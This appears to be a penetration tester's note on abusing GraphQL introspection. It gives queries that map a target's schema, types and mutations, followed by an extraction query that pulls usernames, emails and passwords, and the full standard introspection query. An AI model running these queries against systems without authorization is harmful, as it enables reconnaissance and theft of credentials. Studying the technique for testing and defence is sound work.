3. Introspection - Getting information
Introspection is a built-in GraphQL function that enables you to query a server for information about the schema.
3.1. Abuse Introspection Function
3.1.1. Step 1. Search what types are available by querying __schema
field.
It is always crucial to identify the battle space. Introspection function is a function that can help us identifying the battle space.
Use the following query to identify what types
are defined within the target.
types in GraphQL is a specific kind of data. It defines what data can be queried or what input can be provided in a query or mutation.
The very first step is what types
are available on the targeted system. The following query can be used here.
types : Custom obejcts or scalar types defined in your GraphQL schema.
query introspection {
__schema {
types {
name
}
}
}
or search for queryType
queryType : Root type that defines the entry points in to a GraphQL API.
{
__schema {
queryType {
name
fields {
name
description
type{
name
kind
}
}
}
}
}
mutationType : Using the following command, we can search for possible mutation operations.
{
__schema {
mutationType {
fields {
name
}
}
}
}
Sometimes I received a weird response like _null
This means the type I am trying to query does not exist in GraphQL schema or it might not be a valid top-level type name.
To get more detail information from root mutation type, use the below.
{
__schema {
mutationType {
fields {
name
args {
name
type {
name
}
}
type {
name
}
}
}
}
}
A quick description of regarding potential results.
Query, Character, etc can be vary and depends on the system.
I would focus on Introspection Types. This is truly what makes the GraphQL vulnerable.
Type Category | Types |
---|---|
Defined in targeted System | Query, Character, Human, Episode, Droid, User, JobID, etc. This can be anything depending on system. |
Built-in Scalars | String, Boolean |
Introspection Types | __Schema , __Type , __TypeKind , __Field , __InputValue , __EnumValue , __Directive |
A quick description of introspection type. I have seen other types, hence it is crucial to identify which introspection types are available.
Introspection Type | Description |
---|---|
__Schema |
Represents the entire schema, including all types, queries, and mutations. |
__Type |
Describes a specific type (object, scalar, enum, etc.) in the schema. |
__TypeKind |
Enum that indicates the category of a type (e.g., OBJECT , SCALAR , ENUM ). |
__Field |
Represents a field of an object or interface type, including its arguments and return type. |
__InputValue |
Describes an argument or input field, including its type and default value. |
__EnumValue |
Represents a value of an enum type, including its name and deprecation status. |
__Directive |
Provides details about a directive, including where it can be used and its arguments. |
3.1.2. Step 2. Gaining more information using __type
The following query will use the __type
in introspection function to display name, kinds, description, and fields.
kind
field describes the category or kind of a type.
Kind
field can return followings
Field | Return | Description |
---|---|---|
Kind | SCALAR | Represents primitive data types: String, Int, Boolean No sub-fields |
ENUM | Represents a set of predefined values. | |
INPUT_OBJECT | Represents complex input values provided in queries or mutations. Generally used for input, not output. | |
UNION | A type that can be one of several object types. It allows a field to return multiple possible types. |
|
INTERFACE | An abstract type that can be implemented by multiple object types. An interface defines field that the implementing object types must include. | |
OBJECT | Represents an object type, which is a collection of fields that can return values of various types. The most common type in GraphQL |
|
LIST | Represents an array of values, where each value is of a specific type. It is used to define fields that return multiple items. | |
NON_NULL | Represents a type that cannot be null. It wraps another type (e.g., String! means a non-nullable string). |
The below will display 1. if the function is query-able 2. What fields are available.
==Sometimes it requires us to dig really deep. Especially, when an object is used to describe its type. ofType
is a great trick to identify which objects are exist. ==
{
__type(name: "SOMETYPE") {
name
kind
description
fields {
name
description
type {
name
kind
ofType {
name
kind
ofType {
name
kind
ofType {
name
kind
}
}
}
}
isDeprecated
deprecationReason
}
}
}
For mutation, we need slightly different query.
{
__type(name: "Mutation") {
name
fields {
name
args {
name
type {
name
kind
ofType {
name
kind
}
}
}
type {
name
kind
ofType {
name
kind
}
}
}
}
}
https://graphql.org/learn/introspection/#gatsby-focus-wrapper
3.1.3. Step 3. Extract the info!
{
SOMETYPE(Identifier: "123") {
username
email
password
}
}
3.2. Full introspection query
query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description args { ...InputValue }
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
} } }
fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name } } } }